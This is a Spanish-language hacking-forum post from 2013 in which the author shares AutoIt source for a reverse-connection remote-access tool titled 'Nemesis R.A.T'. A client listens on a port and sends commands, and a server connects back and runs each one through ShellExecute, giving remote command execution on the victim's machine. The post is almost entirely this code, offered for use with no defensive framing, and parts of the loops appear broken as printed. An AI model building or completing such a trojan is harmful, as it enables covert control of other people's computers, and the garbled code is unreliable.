[Scr] Conexión Inversa

  • 0 Respuestas
  • 2619 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
  • Skype: k0wsit0
    • Ver Perfil

[Scr] Conexión Inversa

  • en: Enero 29, 2013, 05:12:32 am
Bueno, ayer estuve investigando un poco los sockets en la pagina oficial de autoit, y me parecio buena idea hacer una "shell" de conexion inversa a partir del ejemplo que habia en la web, sin entretenerme mas:

Código: AutoIt
  1. ;Cliente - Author k0ws
  2.  
  3. #include <ButtonConstants.au3>
  4. #include <EditConstants.au3>
  5. #include <GUIConstantsEx.au3>
  6. #include <WindowsConstants.au3>
  7. #Region ### START Koda GUI section ### Form=
  8. $Form1 = GUICreate("Nemesis R.A.T", 289, 114, 193, 115)
  9. $Input1 = GUICtrlCreateInput("", 8, 8, 273, 21)
  10. $Button1 = GUICtrlCreateButton("Listen", 8, 40, 121, 25)
  11. $Button2 = GUICtrlCreateButton("Close", 160, 40, 121, 25)
  12. $Button3 = GUICtrlCreateButton("Send Command", 8, 80, 273, 25)
  13. #EndRegion ### END Koda GUI section ###
  14. ;######################################
  15. Local $szIPADDRESS = @IPAddress1
  16.     Local $nPORT = 3460
  17.     Local $MainSocket, $ConnectedSocket, $szIP_Accepted
  18.     Local $msg, $recv
  19.    $nMsg = GUIGetMsg()
  20.    Switch $nMsg
  21.       Case $GUI_EVENT_CLOSE
  22.          Exit
  23.      Case $Input1
  24.       Case $Button1
  25.             TCPStartup()
  26.          $MainSocket = TCPListen($szIPADDRESS, $nPORT)
  27. If $MainSocket = -1 Then Exit
  28. $ConnectedSocket = -1
  29.         $ConnectedSocket = TCPAccept($MainSocket)
  30.     Until $ConnectedSocket <> -1
  31. $szIP_Accepted = SocketToIP($ConnectedSocket)
  32.    GUICtrlSetData($Input1,$szIP_Accepted)
  33.  Case $Button2
  34.  Case $Button3
  35.    $szData = InputBox("Mandar comando al servidor", @LF & @LF & "Mandar orden a " & $szIP_Accepted)
  36.    If @error Or $szData = "" Then ExitLoop
  37.             TCPSend($ConnectedSocket, StringToBinary($szData, 4))
  38.          If @error Then ExitLoop
  39. Func SocketToIP($SHOCKET)
  40.     Local $sockaddr, $aRet
  41.  
  42.     $sockaddr = DllStructCreate("short;ushort;uint;char[8]")
  43.  
  44.     $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
  45.             "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
  46.     If Not @error And $aRet[0] = 0 Then
  47.         $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
  48.         If Not @error Then $aRet = $aRet[0]
  49.     Else
  50.         $aRet = 0
  51.     EndIf
  52.  
  53.     $sockaddr = 0
  54.  
  55.     Return $aRet

Código: AutoIt
  1. ;Server - Author k0ws
  2.  
  3. StartSvr()
  4. Func StartSvr()
  5.     TCPStartup()
  6.    Local $ConnectedSocket, $szData
  7.     Local $szIPADDRESS = @IPAddress1
  8.     Local $nPORT = 3460
  9.    $ConnectedSocket = -1
  10.    $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
  11.     If @error Then StartSvr()
  12.        While 1
  13.         $recv = TCPRecv($ConnectedSocket, 2048)
  14.         If @error Then ExitLoop
  15.          $recv = BinaryToString($recv, 4)
  16.            If $recv <> "" Then ShellExecute($recv)
  17.     WEnd
  18.  

-Saludos-
« Última modificación: Enero 31, 2013, 02:08:52 pm por k0ws »

 

[VBS] Saber si hay conexión a internet.

Iniciado por 79137913

Respuestas: 0
Vistas: 3119
Último mensaje Enero 04, 2016, 09:55:57 am
por 79137913